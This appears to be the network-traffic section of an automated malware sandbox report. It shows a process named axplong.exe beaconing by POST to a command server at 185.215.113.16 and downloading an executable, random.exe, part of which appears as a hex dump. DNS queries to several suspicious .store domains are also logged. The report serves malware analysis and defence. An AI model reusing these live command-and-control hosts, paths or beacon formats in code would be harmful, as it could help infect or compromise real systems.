Oct 29, 2024 05:03:53.649288893 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649322033 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649344921 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649358988 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649390936 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649401903 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649444103 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649477959 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649492979 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649511099 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649544954 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649548054 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649579048 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649611950 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649646044 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649672985 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649705887 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649725914 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649740934 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649775028 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649785042 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649807930 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649818897 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649842978 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649877071 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649894953 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649914980 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649947882 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.649955988 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.649982929 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650016069 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650024891 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650049925 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650084019 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650115967 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650125980 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650151014 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650186062 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650196075 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650216103 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650228977 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650249004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650284052 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650316954 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650326967 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650352955 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650387049 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650394917 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650420904 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650429964 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650454998 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650490999 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650497913 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650521994 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650556087 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650566101 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650590897 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650624990 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650630951 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650661945 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650695086 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650728941 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650737047 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650762081 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650798082 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650805950 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650832891 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650837898 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650866985 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650901079 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650909901 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.650935888 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650969982 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.650979042 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.651005983 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651038885 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651073933 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651081085 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.651110888 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651144981 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651154041 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.651179075 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.651184082 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.690563917 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.690608025 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.690623999 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765075922 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765146971 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765186071 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765239000 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765250921 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765275955 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765275955 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765311956 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765347004 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765358925 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765402079 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765436888 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765451908 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765480042 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765489101 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765525103 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765562057 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765574932 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765597105 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765645027 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765646935 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765681982 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765712023 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765744925 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765753031 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765798092 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765842915 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765860081 CET	80	50075	185.215.113.16	192.168.2.5
Oct 29, 2024 05:03:53.765903950 CET	50075	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:03:53.765912056 CET	80	50075	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 29, 2024 05:02:13.304353952 CET	192.168.2.5	1.1.1.1	0x1913	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:27.491036892 CET	192.168.2.5	1.1.1.1	0xfd0f	Standard query (0)	b.strongest.network	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:28.810950994 CET	192.168.2.5	1.1.1.1	0x37ed	Standard query (0)	ipwho.is	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.929461956 CET	192.168.2.5	1.1.1.1	0xfa8e	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.940956116 CET	192.168.2.5	1.1.1.1	0x9d57	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.951673985 CET	192.168.2.5	1.1.1.1	0x7802	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.968648911 CET	192.168.2.5	1.1.1.1	0xd118	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.979808092 CET	192.168.2.5	1.1.1.1	0x4e8b	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.323611021 CET	192.168.2.5	1.1.1.1	0x7d27	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.337393999 CET	192.168.2.5	1.1.1.1	0xe6b8	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.350897074 CET	192.168.2.5	1.1.1.1	0x659c	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.363184929 CET	192.168.2.5	1.1.1.1	0xa9f2	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.832242012 CET	192.168.2.5	1.1.1.1	0xa497	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.850629091 CET	192.168.2.5	1.1.1.1	0x7f37	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.875264883 CET	192.168.2.5	1.1.1.1	0x854a	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.946590900 CET	192.168.2.5	1.1.1.1	0xb8eb	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 29, 2024 05:02:13.312195063 CET	1.1.1.1	192.168.2.5	0x1913	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:13.312195063 CET	1.1.1.1	192.168.2.5	0x1913	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:13.312195063 CET	1.1.1.1	192.168.2.5	0x1913	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:13.312195063 CET	1.1.1.1	192.168.2.5	0x1913	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:13.312195063 CET	1.1.1.1	192.168.2.5	0x1913	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:27.509346008 CET	1.1.1.1	192.168.2.5	0xfd0f	No error (0)	b.strongest.network		150.241.90.56	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:28.818605900 CET	1.1.1.1	192.168.2.5	0x37ed	No error (0)	ipwho.is		147.135.36.89	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.938466072 CET	1.1.1.1	192.168.2.5	0xfa8e	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.950572968 CET	1.1.1.1	192.168.2.5	0x9d57	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.961633921 CET	1.1.1.1	192.168.2.5	0x7802	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.978571892 CET	1.1.1.1	192.168.2.5	0xd118	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.992690086 CET	1.1.1.1	192.168.2.5	0x4e8b	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:02:41.992690086 CET	1.1.1.1	192.168.2.5	0x4e8b	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.332706928 CET	1.1.1.1	192.168.2.5	0x7d27	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.346673012 CET	1.1.1.1	192.168.2.5	0xe6b8	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.359987020 CET	1.1.1.1	192.168.2.5	0x659c	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:00.372596979 CET	1.1.1.1	192.168.2.5	0xa9f2	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.842778921 CET	1.1.1.1	192.168.2.5	0xa497	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.865262032 CET	1.1.1.1	192.168.2.5	0x7f37	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.884476900 CET	1.1.1.1	192.168.2.5	0x854a	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 29, 2024 05:03:16.956630945 CET	1.1.1.1	192.168.2.5	0xb8eb	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:12.080982924 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:02:12.989335060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 29, 2024 05:02:12.994390011 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:02:13.288337946 CET	1140	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 62 35 0d 0a 20 3c 63 3e 31 30 30 31 30 39 36 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 31 64 66 34 39 66 61 31 61 36 30 36 30 34 65 61 63 39 30 34 33 61 62 63 64 63 35 35 62 32 34 35 39 64 36 62 64 31 61 65 61 35 65 35 36 63 66 64 65 39 65 65 62 32 34 39 36 33 65 33 65 31 36 38 36 37 36 31 39 30 32 66 63 31 30 32 38 61 65 65 33 39 65 61 63 66 66 61 61 66 34 32 63 64 66 65 62 38 36 63 63 64 35 62 65 37 65 37 34 36 34 39 31 62 32 34 36 63 38 34 65 63 34 65 36 37 63 32 64 65 66 37 31 65 36 38 64 65 31 34 35 35 30 30 33 31 33 63 65 66 37 39 38 62 63 62 39 35 33 63 36 34 35 33 32 62 39 39 31 31 63 64 65 62 65 36 63 36 66 32 37 33 61 34 36 63 63 62 38 66 33 33 32 30 66 61 64 66 61 39 32 31 63 62 39 39 39 62 30 32 61 62 63 32 62 65 31 39 37 32 34 30 36 32 65 64 34 31 34 32 61 33 36 63 38 34 66 64 65 35 37 62 31 34 33 37 61 37 34 61 31 37 65 39 30 64 32 33 37 37 35 37 32 33 62 34 36 65 38 33 34 61 62 62 38 30 32 36 30 34 65 39 62 30 35 61 39 31 30 61 65 34 38 39 37 32 39 61 62 32 35 31 64 61 66 31 66 38 [TRUNCATED] Data Ascii: 3b5 <c>1001096001+++aa0ed3651df49fa1a60604eac9043abcdc55b2459d6bd1aea5e56cfde9eeb24963e3e1686761902fc1028aee39eacffaaf42cdfeb86ccd5be7e746491b246c84ec4e67c2def71e68de145500313cef798bcb953c64532b9911cdebe6c6f273a46ccb8f3320fadfa921cb999b02abc2be19724062ed4142a36c84fde57b1437a74a17e90d23775723b46e834abb802604e9b05a910ae489729ab251daf1f88c8d37e87b0d9074fd605b4d60dd0e7413ba199fab0c771eff#1001103001+++aa0ed3651df49fa1a60604eac9043abcdc55b2459d6bd1aea5e56cfde9eeb24963e3e1686761902fc1028aee39eacffaaf42cdfeb86ccd5be7e746491b246c87ed406cc1d4f11d6fdf11550e373bef4096d5903954092b9911cdebe6c6f273a46ccb8a3228acdfa921cb999b01fd94bc11244062ed4140a13bdfafb17c4632f31810e10b227c0179ea6ed61eeed1740cbce70cc70cb6d8779ee75a8df1a4dedf67ee7609c127fd35584f65d60a2013ee4e99fc04714bff#1001118001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#1001119001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:17.039527893 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001096001&unit=246122658369
Oct 29, 2024 05:02:17.958849907 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49735	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:02:25.165318966 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 31 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001103001&unit=246122658369
Oct 29, 2024 05:02:26.082014084 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Oct 29, 2024 05:02:26.087083101 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 29, 2024 05:02:26.370702028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:02:26 GMT Content-Type: application/octet-stream Content-Length: 2177024 Last-Modified: Tue, 29 Oct 2024 03:47:22 GMT Connection: keep-alive ETag: "67205aca-213800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 10 74 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 74 00 00 04 00 00 ec 45 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,t@@tE!@P.d. p.v@.rsrc .@.idata .@ *.@twbahnthpY@ahateppdt!@.taggant0t"!@
Oct 29, 2024 05:02:26.370726109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:26.370737076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:26.370765924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 29, 2024 05:02:26.370775938 CET	1236	IN	Data Raw: 36 b8 b6 70 7f 9c 3f 26 7f 64 41 60 e8 bc 53 46 99 55 cf 4d e9 11 5f 5c 7c 1a 64 3e a8 4d 81 98 be bb e9 a9 d4 82 e4 dc ca ca 64 47 be bd 08 c4 a2 22 f7 54 38 52 ea 77 79 db 00 3e 97 42 6a 64 7f 36 10 01 10 bf 7d 90 f3 67 05 8e 07 48 ba 08 36 f7 Data Ascii: 6p?&dA`SFUM_\\|d>MdG"T8Rwy>Bjd6}gH67;8aq%KxpP `O<j*gAx4<}}J^S/@:^AqIAmgVW1EfyM{#6zVf?M].UHH%3O>!c59w
Oct 29, 2024 05:02:26.370786905 CET	1236	IN	Data Raw: 8b 4c af d0 52 18 33 28 dd 37 f8 7d 2c c3 d0 4d 5e 6b aa f1 5b 02 95 6e 8f 91 be b5 99 3c 82 57 fc b3 e4 56 8e 74 3d 4a 3b c0 36 4d 88 45 9c 26 89 28 bf 7e 7b 1d ab 98 04 c3 ca bc a0 ef 9e 97 c0 e1 8c 3d 0a 49 bb 33 d7 ec 3c a6 83 3c f4 03 28 e2 Data Ascii: LR3(7},M^k[n<WVt=J;6ME&(~{=I3<<(=thR6$DE'It'XH]O?=ZdHR_'l"B%CI`y`VYqkW$O:{+{w<e{\`G\|~<!Qx+H%_;
Oct 29, 2024 05:02:26.370798111 CET	1236	IN	Data Raw: 2c d4 9a 54 20 e4 c7 46 bc b9 51 59 ed 62 31 4c 00 3c 88 75 46 47 b2 d8 dd a1 f9 d8 42 7b b6 46 b4 6f 17 33 ed 10 77 5d 7c f7 d6 f6 7e 46 ba 58 67 c1 5a 3e ca 75 bd 47 7b 46 b9 98 30 77 bc 38 c4 56 30 c0 3a 55 a0 42 9c b3 d3 ef 9b cb 60 4f 6d 83 Data Ascii: ,T FQYb1L<uFGB{Fo3w]\|~FXgZ>uG{F0w8V0:UB`OmcH?gO\|0.gG{WXD{]31UFk]dfT#N<L[u;}v,OUo4uHO\"?,u\|`D\|uVoD5KOmgGwxxh770xrD5lDN
Oct 29, 2024 05:02:26.370810986 CET	1236	IN	Data Raw: a9 06 87 4f 3e 46 2d 4c 88 ca 81 3b 8c 75 80 08 7f b3 df 8f 0a 6d f7 30 75 37 2b 19 b8 45 13 31 9e 63 37 24 75 db 8a 6d 97 d3 40 37 14 d4 81 ac 6e 55 e2 db ef fb 90 90 75 75 47 45 45 3f 5f 3e a8 a7 8f a4 9c 11 38 56 c5 67 ed 28 6e 47 98 10 68 4e Data Ascii: O>F-L;um0u7+E1c7$um@7nUuuGEE?_>8Vg(nGhN~xN_OhO\|#/(@SD6f8BNXDDNGd&?2Yw}egu>1Y_NNh 0lOFL;Iv\|/iNLuuE=1`<{6(,fw}+waUp/g
